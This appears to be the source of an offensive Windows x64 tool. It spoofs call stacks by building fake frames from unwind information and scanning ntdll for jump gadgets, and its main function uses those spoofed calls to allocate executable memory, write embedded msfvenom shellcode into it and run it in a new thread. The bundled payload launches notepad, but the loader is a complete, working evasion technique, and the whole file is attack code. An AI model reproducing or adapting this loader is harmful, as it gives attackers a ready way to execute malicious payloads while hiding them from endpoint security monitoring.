#include #define GADGETS_MAX 16 // max size for gadgets array PGADGET_INFO* g_GadgetList = NULL; DWORD safeGadgetCount = 0; // msfvenom -p windowx/x64/exec CMD=notepad -f c unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x6e\x6f\x74\x65\x70\x61\x64\x00"; /* Main function that will be used to build the syntetic frames prepare the arguments for the specified API and call it, after that it cleansup and restores execution to the caller */ extern "C" PVOID Spoof(STACK_INFO* pStackInfo); /* Find the exception directory for the given module pExceptInfo - pointer to EXCEPT_INFO struct that will receive the parsed information */ BOOL findExceptionDir(PEXCEPT_INFO pExceptInfo) { if (!pExceptInfo) return FALSE; PBYTE hModule = pExceptInfo->hModule; PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule; if (pDosHdr->e_magic != IMAGE_DOS_SIGNATURE) { DEBUG_PRINT("[!] Not a valid image\n"); return FALSE; } PIMAGE_NT_HEADERS64 pNtHdrs = (PIMAGE_NT_HEADERS64)(hModule + pDosHdr->e_lfanew); if (pNtHdrs->Signature != IMAGE_NT_SIGNATURE) { DEBUG_PRINT("[!] Failed to find valid NT signature\n"); return FALSE; } PIMAGE_OPTIONAL_HEADER pOptHdr = &pNtHdrs->OptionalHeader; if (pOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress == 0) { DEBUG_PRINT("[!] No exceptions directory for the module\n"); return FALSE; } pExceptInfo->pExceptionDirectory = (ULONG_PTR)(hModule + pOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress); pExceptInfo->dwRuntimeFuncCount = pOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size / sizeof(RUNTIME_FUNCTION); return TRUE; } /* Process the unwind information for a specified function hModule - Handle to the module for the particular function pUnwindInfo - pointer to the found uwind information struct pStackFrameInfo - pointer to a STACK_FRAME_INFO struct that will be populated */ BOOL processUnwindInfo( IN HMODULE hModule, IN PUNWIND_INFO pUnwindInfo, OUT PSTACK_FRAME_INFO pStackFrameInfo ) { PUNWIND_CODE pUnwindCode = pUnwindInfo->UnwindCode; ULONG unwindCodesIndex = 0; ULONG frameOffset = 0; DWORD offsetBytes = 0, offset = 0; DEBUG_PRINT("\tStarting to process unwind info at address: %p\n", pUnwindInfo); DEBUG_PRINT("\tCount of unwind codes: %d\n", pUnwindInfo->CountOfCodes); // start processing all of the unwind codes while (unwindCodesIndex < pUnwindInfo->CountOfCodes) { ULONG unwindOperation = pUnwindCode[unwindCodesIndex].UnwindOp; ULONG operationInfo = pUnwindCode[unwindCodesIndex].OpInfo; switch (unwindOperation) { case UWOP_PUSH_NONVOL: DEBUG_PRINT("\tprocessing UWOP_PUSH_NONVOL\n"); pStackFrameInfo->stackFrameSize += 8; break; case UWOP_SAVE_NONVOL: pStackFrameInfo->hasSaveNonvol = TRUE; offsetBytes = pUnwindCode[unwindCodesIndex + 1].FrameOffset * 8; if (pStackFrameInfo->maxSaveNonvolOffset < offsetBytes) pStackFrameInfo->maxSaveNonvolOffset = offsetBytes; DEBUG_PRINT("\tprocessing UWOP_SAVE_NONVOL values: %d, offset: %d\n", operationInfo, offsetBytes); unwindCodesIndex++; break; case UWOP_ALLOC_SMALL: DEBUG_PRINT("\tprocessing UWOP_ALLOC_SMALL with opInfo: %u\n", operationInfo); pStackFrameInfo->stackFrameSize += ((operationInfo * 8) + 8); break; case UWOP_ALLOC_LARGE: unwindCodesIndex++; frameOffset = pUnwindCode[unwindCodesIndex].FrameOffset; DEBUG_PRINT("\tprocessing UWOP_ALLOC_LARGE with frameOffset: %u, opInfo: %u\n", frameOffset, operationInfo); if (operationInfo == 0) { frameOffset *= 8; } else { unwindCodesIndex++; frameOffset += (pUnwindInfo->UnwindCode[unwindCodesIndex].FrameOffset << 16); } pStackFrameInfo->stackFrameSize += frameOffset; break; case UWOP_SET_FPREG: DEBUG_PRINT("\tprocessing UWOP_SET_FPREG\n"); pStackFrameInfo->useFPreg = TRUE; break; case UWOP_SAVE_XMM128: // TODO potentially do the same as for SAVE_NONVOL DEBUG_PRINT("\tprocessing UWOP_SAVE_XMM128\n"); unwindCodesIndex++; break; case UWOP_SAVE_XMM128_FAR: // TODO potentially do the same as for SAVE_NONVOL DEBUG_PRINT("\tprocessing UWOP_SAVE_XMM128\n"); unwindCodesIndex += 2; break; case UWOP_PUSH_MACHFRAME: DEBUG_PRINT("\tprocessing UWOP_PUSH_MACHFRAME\n"); if (pUnwindCode[unwindCodesIndex].OpInfo == 0) { pStackFrameInfo->stackFrameSize += 40; } else { pStackFrameInfo->stackFrameSize += 48; } break; case UWOP_SAVE_NONVOL_FAR: offset = pUnwindCode[unwindCodesIndex + 1].FrameOffset | (pUnwindCode[unwindCodesIndex + 2].FrameOffset << 16); offsetBytes = offset * 8; // record the maximum offset for save_nonvol pStackFrameInfo->hasSaveNonvol = TRUE; if (offsetBytes > pStackFrameInfo->maxSaveNonvolOffset) pStackFrameInfo->maxSaveNonvolOffset = offsetBytes; DEBUG_PRINT("\tprocessing UWOP_SAVE_NONVOL_FAR reg=%u offset=%u\n", operationInfo, offsetBytes); unwindCodesIndex += 2; break; default: DEBUG_PRINT("\tunknown unwind OP INFO: %d\n", unwindOperation); break; } unwindCodesIndex++; } if (pStackFrameInfo->stackFrameSize & 7) DEBUG_PRINT("\t! Stack size is not 8 byte aligned\n"); if (pStackFrameInfo->stackFrameSize > 0x4000) DEBUG_PRINT("\t! Too large stack size: %ld, possibly corrupted unwind info\n", pStackFrameInfo->stackFrameSize); return TRUE; } /* Calculate the stack frame size for the specified function hModule - handle to the module containing the function funcAddress - address of the function pStackFrameInfo - pointer to a STACK_FRAME_INFO struct that will be populated offsetFromStart - optional offset from the start of the function */ BOOL calculateFuncStackSize( IN HMODULE hModule, IN ULONG_PTR funcAddress, OUT PSTACK_FRAME_INFO pStackFrameInfo, IN OPTIONAL DWORD offsetFromStart ) { EXCEPT_INFO ExceptInfo = { 0 }; BOOL success = FALSE, found = FALSE; PRUNTIME_FUNCTION pRuntimeFunc = NULL; DWORD funcOffset = 0; PUNWIND_INFO pUnwindInfo = NULL; DWORD prologSize = 0; BOOL prologCaptured = FALSE; if (!pStackFrameInfo) goto _CLEANUP; DEBUG_PRINT("[+] Calculating stack frame size for function: %p\n", funcAddress); // populate the hModule member and find the exceptions dir ExceptInfo.hModule = (PBYTE)hModule; if (!findExceptionDir(&ExceptInfo)) { goto _CLEANUP; } // find the offset of the function from the start of the module pRuntimeFunc = (PRUNTIME_FUNCTION)ExceptInfo.pExceptionDirectory; funcOffset = (PBYTE)funcAddress - (PBYTE)hModule; // iterate over all exception directory entries until we find the runtime function entry for the specified address for (int i = 0; i < ExceptInfo.dwRuntimeFuncCount; i++) { // if the offset from the start of the module is between the begin and end of the runtime function entry // then its the correct one if (funcOffset >= pRuntimeFunc->BeginAddress && funcOffset < pRuntimeFunc->EndAddress) { found = TRUE; break; } pRuntimeFunc++; } // if nothing is found, most likely it is a leaf function // and the stack frame size is just the return address if (!found) { DEBUG_PRINT("\tleaf function detected: %p, returning stack size of 8\n", funcAddress); pStackFrameInfo->returnRip = funcAddress; pStackFrameInfo->stackFrameSize = 8; success = TRUE; goto _CLEANUP; } // if there is a runtime function entry found, but unwind data is empty then again its a leaf fn if (pRuntimeFunc->UnwindData == 0) { DEBUG_PRINT("\tleaf function detected: %p, returning stack size of 8\n", funcAddress); pStackFrameInfo->returnRip = funcAddress; pStackFrameInfo->stackFrameSize = 8; success = TRUE; goto _CLEANUP; } // pointer to the actual unwind data pUnwindInfo = (PUNWIND_INFO)((PBYTE)hModule + pRuntimeFunc->UnwindData); // Start processing the unwind information while (TRUE) { // Capture the original function prolog size if (!prologCaptured) { prologSize = pUnwindInfo->SizeOfProlog; prologCaptured = TRUE; } // process the unwind info and accumulate the stack frame size if (!processUnwindInfo(hModule, pUnwindInfo, pStackFrameInfo)) return FALSE; // if there is no chain info included, break from the loop if (!(pUnwindInfo->Flags & UNW_FLAG_CHAININFO)) break; DEBUG_PRINT("\tChained info detected, processing further\n"); // if there is chained info and the count of codes is uneven, it needs to be padded ULONG unwindCount = pUnwindInfo->CountOfCodes; if (unwindCount & 1) unwindCount++; // The chained RUNTIME_FUNCTION is stored after unwind codes PRUNTIME_FUNCTION chainedRf = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[unwindCount]); pUnwindInfo = (PUNWIND_INFO)((PBYTE)hModule + chainedRf->UnwindData); } // account for the return address pStackFrameInfo->stackFrameSize += 8; // return the RIP address that will be used in the fake frame, // either with a fixed offset or with the prolog size if (offsetFromStart != 0) { pStackFrameInfo->returnRip = funcAddress + offsetFromStart; } else { pStackFrameInfo->returnRip = funcAddress + prologSize; } DEBUG_PRINT("\tCalculated stack size: %llu, prolog size: %d\n", pStackFrameInfo->stackFrameSize, prologSize); success = TRUE; _CLEANUP: return success; } /* Iterate over the .text section of the specified module to find all potential safe jump gadgets hModule - handle to the module gadgetArray - pointer to a pointer that will represent the found gadget array arraySize - maximum size of the gadget array safeCount - count of safe gadgets that can be used */ BOOL findJmpGadgets( IN HMODULE hModule, OUT PGADGET_INFO** gadgetArray, IN SIZE_T arraySize, OUT PDWORD safeCount ) { // validate parameters if (!hModule || !arraySize || !safeCount || !gadgetArray) return FALSE; *safeCount = 0; PBYTE base = (PBYTE)hModule; DWORD matches = 0; PIMAGE_DOS_HEADER pDosHdr = NULL; PIMAGE_NT_HEADERS pNtHdrs = NULL; PIMAGE_SECTION_HEADER section = NULL; PGADGET_INFO* pGadgetArray = NULL; PGADGET_INFO pInfo = NULL; // Validate the DOS headers pDosHdr = (PIMAGE_DOS_HEADER)base; if (pDosHdr->e_magic != IMAGE_DOS_SIGNATURE) { DEBUG_PRINT("[!] Not a valid image\n"); goto _CLEANUP; } // Validate the NT headers pNtHdrs = (PIMAGE_NT_HEADERS)(base + pDosHdr->e_lfanew); if (pNtHdrs->Signature != IMAGE_NT_SIGNATURE) { DEBUG_PRINT("[!] Failed to find valid NT signature\n"); goto _CLEANUP; } // Iterate over all sections and process only executable ones section = IMAGE_FIRST_SECTION(pNtHdrs); pGadgetArray = (PGADGET_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PGADGET_INFO) * arraySize); if (pGadgetArray == NULL) goto _CLEANUP; for (int i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++, section++) { DWORD sectionSize = 0; PBYTE sectionBase = NULL; // Check if section is executable if (!(section->Characteristics & IMAGE_SCN_MEM_EXECUTE)) continue; sectionBase = base + section->VirtualAddress; sectionSize = section->Misc.VirtualSize; // search for our gadget - 'jmp qword ptr [rbx]' -> 0xff 0x23 for (int z = 0; z + 1 < sectionSize; z++) { // Check if the array is already full if (*safeCount >= arraySize) break; // On every match check if the gadget is safe for usage if (sectionBase[z] == 0xff && sectionBase[z + 1] == 0x23) { matches++; ULONG_PTR address = (ULONG_PTR)(sectionBase + z); STACK_FRAME_INFO stackFrameInfo = { 0 }; // Get the frame size of the gadget and other information from the unwind info if (calculateFuncStackSize( hModule, (ULONG_PTR)address, &stackFrameInfo, 0 )) { // TODO handle UWOP_SET_FPREG if (stackFrameInfo.useFPreg) continue; // allocate a buffer that will hold the information pInfo = (PGADGET_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(GADGET_INFO)); if (pInfo == NULL) goto _CLEANUP; // check if there is UWOP_SAVE_NONVOL with offset bigger than the stack frame size // If there is the gadget is not safe, until this is implemented in assembly if (stackFrameInfo.hasSaveNonvol) { if (stackFrameInfo.maxSaveNonvolOffset < stackFrameInfo.stackFrameSize) { // if the gadget is safe insert it in the array pInfo->address = (PVOID)address; pInfo->stackFrameSize = stackFrameInfo.stackFrameSize; pGadgetArray[*safeCount] = pInfo; (*safeCount)++; } else { // if its not safe proceed to the next one HeapFree(GetProcessHeap(), 0 , pInfo); continue; } } else { pInfo->address = (PVOID)address; pInfo->stackFrameSize = stackFrameInfo.stackFrameSize; pGadgetArray[*safeCount] = pInfo; (*safeCount)++; } } else { continue; } } } } *gadgetArray = pGadgetArray; pGadgetArray = NULL; DEBUG_PRINT("[+] Total gadget matches: %d, safe gadgets count: %d\n", matches, *safeCount); _CLEANUP: if (!*gadgetArray && pGadgetArray) HeapFree(GetProcessHeap(), 0, pGadgetArray); return (*safeCount > 0); } /* Main wrapper function for invoking an API with spoofed call stack pApiCallInfo - pointer to API_CALL_INFO struct that holds all the information, about spoofed frames and the api to be called ... - variadic arguments that represent the arguments for the API to be called */ BOOL CallStackSpoof(PAPI_CALL_INFO pApiCallInfo, ...) { // validate parameters if (!pApiCallInfo || !pApiCallInfo->spoofFramesTargetsArray || !pApiCallInfo->spoofFramesCount) return FALSE; DEBUG_PRINT("[+] Spoofing stack for function:\n\tAddress: %p, number of arguments: %d\n", pApiCallInfo->pFuncAddr, pApiCallInfo->apiFuncArgsCount); va_list va_args; STACK_INFO stackInfo = { 0 }; uint64_t* args = NULL; BOOL success = FALSE; // Allocate memory for the spoofed frames stackInfo.FramesCount = pApiCallInfo->spoofFramesCount; stackInfo.pFrames = (PSTACK_FRAME_INFO) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, stackInfo.FramesCount * sizeof(STACK_FRAME_INFO)); // choose a pseudo random gadget from the list SIZE_T index = rand() % safeGadgetCount; PGADGET_INFO jmpGadget = g_GadgetList[index]; DEBUG_PRINT("\tGadget that will be used: %p, with frame size: %d\n", jmpGadget->address, jmpGadget->stackFrameSize); // Prepare all the information for the frames to be spoofed for (SIZE_T i = 0; i < pApiCallInfo->spoofFramesCount; i++) { PSPOOF_TARGET pSpoofTarget = (PSPOOF_TARGET)pApiCallInfo->spoofFramesTargetsArray[i]; // get the stack frame size for every spoof target if (!calculateFuncStackSize(pSpoofTarget->hModule, (ULONG_PTR)(pSpoofTarget->funcAddress), &stackInfo.pFrames[i], pSpoofTarget->offsetFromStart)) { goto _CLEANUP; } // validate the frame, this is needed before unsafe SAVE_NONVOLs can be included if (stackInfo.pFrames[i].hasSaveNonvol && stackInfo.pFrames[i].maxSaveNonvolOffset >= stackInfo.pFrames[i].stackFrameSize) { DEBUG_PRINT( "[!] Unwind Info for function: %p contains SAVE_NONVOL with offset %d, which is bigger than the stack frame of %d bytes\n", pSpoofTarget->funcAddress, stackInfo.pFrames[i].maxSaveNonvolOffset, stackInfo.pFrames[i].stackFrameSize ); goto _CLEANUP; } } // Prepare jump gadget address and its frame size stackInfo.pGadgetAddr = (uint64_t)jmpGadget->address; stackInfo.dwGadgetSize = jmpGadget->stackFrameSize; // Prepare the address of the target API to be invoked stackInfo.pTargetFunc = pApiCallInfo->pFuncAddr; // Calculate to the total size of syntetic frames for cleanup before restoring the execution flow for (SIZE_T i = 0; i < stackInfo.FramesCount; i++) stackInfo.totalFrameSizes += stackInfo.pFrames[i].stackFrameSize; stackInfo.totalFrameSizes += stackInfo.dwGadgetSize; DEBUG_PRINT("\tTotal frame size for spoofed frames: %ld\n", stackInfo.totalFrameSizes); // Validate the count of the arguments that the API expects if (pApiCallInfo->apiFuncArgsCount <= 4) { stackInfo.dwNumOfArgs = 4; } else if (pApiCallInfo->apiFuncArgsCount % 2 != 0) { stackInfo.dwNumOfArgs = pApiCallInfo->apiFuncArgsCount + 1; } else { stackInfo.dwNumOfArgs = pApiCallInfo->apiFuncArgsCount; } // Allocate memory for the arguments and add the to the structure that will be used by the Spoofer stackInfo.pFuncArgs = (ULONG_PTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 8 * stackInfo.dwNumOfArgs); args = (uint64_t*)stackInfo.pFuncArgs; // Parse the variadic arguments va_start(va_args, pApiCallInfo); for (int i = 0; i < pApiCallInfo->apiFuncArgsCount; i++) { args[i] = va_arg(va_args, UINT64); } va_end(va_args); // for debug #ifdef DEBUG DEBUG_PRINT("Press any key to continue..\n"); getchar(); #endif // // Execute the API with a spoofed call stack and get the return value pApiCallInfo->retVal = Spoof(&stackInfo); success = TRUE; _CLEANUP: if (stackInfo.pFrames) { HeapFree(GetProcessHeap(), 0, stackInfo.pFrames); } if (stackInfo.pFuncArgs) HeapFree(GetProcessHeap(), 0, (LPVOID)stackInfo.pFuncArgs); return success; } /* Simple example of executing a notepad shellcode trough spoofed API calls */ int main() { srand((unsigned int)time(NULL)); API_CALL_INFO apiCallInfo = { 0 }; NTSTATUS status = 0; DWORD bytesWritten = 0, threadId = 0, success = -1; // Functions that will be used for the spoofed call stack frames LPCSTR SpoofName1 = "RtlUserThreadStart"; LPCSTR SpoofName2 = "BaseThreadInitThunk"; LPCSTR SpoofName3 = "VirtualAlloc"; SPOOF_TARGET SpoofApi1 = { 0 }; SPOOF_TARGET SpoofApi2 = { 0 }; SPOOF_TARGET SpoofApi3 = { 0 }; PSPOOF_TARGET spoofArray[3] = { 0 }; // Handles to the modules that are required HMODULE hMod = GetModuleHandleA("ntdll.dll"); HMODULE hMod2 = GetModuleHandleA("kernel32.dll"); HMODULE hMod3 = GetModuleHandleA("kernelbase.dll"); // Prepare information about the spoof targets SpoofApi1.funcAddress = (ULONG_PTR)GetProcAddress(hMod, SpoofName1); SpoofApi1.hModule = hMod; SpoofApi1.offsetFromStart = 0x21; SpoofApi2.funcAddress = (ULONG_PTR)GetProcAddress(hMod2, SpoofName2); SpoofApi2.hModule = hMod2; SpoofApi2.offsetFromStart = 0x14; SpoofApi3.funcAddress = (ULONG_PTR)GetProcAddress(hMod2, SpoofName3); SpoofApi3.hModule = hMod3; SpoofApi3.offsetFromStart = 0; // Store them in an array for syntetic frame preparations spoofArray[0] = &SpoofApi1; spoofArray[1] = &SpoofApi2; spoofArray[2] = &SpoofApi3; // Find safe jump gadgets to use as atm couple of unwind opcodes are not implemented findJmpGadgets(hMod, &g_GadgetList, GADGETS_MAX, &safeGadgetCount); // Prepare the API_CALL_INFO struct that will hold information about the syntetic frames // and also the API to be called and its args apiCallInfo.spoofFramesCount = 3; apiCallInfo.spoofFramesTargetsArray = spoofArray; // The following APIs will be called with spoofed call stacks ULONG_PTR pNtAllocateVirtualMemory = (ULONG_PTR)GetProcAddress(hMod, "NtAllocateVirtualMemory"); ULONG_PTR pWriteProcessMemory = (ULONG_PTR)GetProcAddress(hMod2, "WriteProcessMemory"); ULONG_PTR pCreateThread = (ULONG_PTR)GetProcAddress(hMod2, "CreateThread"); // Starting with NtAllocateVirtualMemory to allocate memory for the shellcode apiCallInfo.pFuncAddr = pNtAllocateVirtualMemory; apiCallInfo.apiFuncArgsCount = 6; PVOID addr = NULL; SIZE_T size = sizeof(shellcode); if (!CallStackSpoof( &apiCallInfo, (uint64_t)(HANDLE)-1, (uint64_t)&addr, (uint64_t)0, (uint64_t)&size, (uint64_t)(MEM_COMMIT | MEM_RESERVE), (uint64_t)PAGE_EXECUTE_READWRITE )) { DEBUG_PRINT("[!] Spoofing failed\n"); goto _CLEANUP; } status = (NTSTATUS)(ULONG_PTR)apiCallInfo.retVal; DEBUG_PRINT("[+] Allocation: %p, status: 0x%08X\n", addr, status); // Next we are calling WriteProcessMemory to write the actual shellcode to the allocation apiCallInfo.pFuncAddr = pWriteProcessMemory; apiCallInfo.apiFuncArgsCount = 5; if (!CallStackSpoof( &apiCallInfo, (uint64_t)(HANDLE)-1, (uint64_t)addr, (uint64_t)shellcode, (uint64_t)sizeof(shellcode), (uint64_t)&bytesWritten )) { DEBUG_PRINT("[!] Spoofing failed\n"); goto _CLEANUP; } if (!apiCallInfo.retVal) { DEBUG_PRINT("[!] WriteProcessMemory failed\n"); goto _CLEANUP; } else { DEBUG_PRINT("[+] Shellcode bytes written: %d\n", bytesWritten); } // Finally we can create a thread to execute the shellcode apiCallInfo.pFuncAddr = pCreateThread; apiCallInfo.apiFuncArgsCount = 6; if (!CallStackSpoof( &apiCallInfo, (uint64_t)NULL, (uint64_t)0, (uint64_t)addr, (uint64_t)NULL, (uint64_t)0, (uint64_t)&threadId )) { DEBUG_PRINT("[!] Spoofing failed\n"); goto _CLEANUP; } DEBUG_PRINT("[+] Thread created with ID: %d\n", threadId); WaitForSingleObject((HANDLE)apiCallInfo.retVal, INFINITE); success = 0; _CLEANUP: // Cleanup the gadget array for (DWORD i = 0; i < safeGadgetCount; i++) HeapFree(GetProcessHeap(), 0, g_GadgetList[i]); HeapFree(GetProcessHeap(), 0, g_GadgetList); return success; }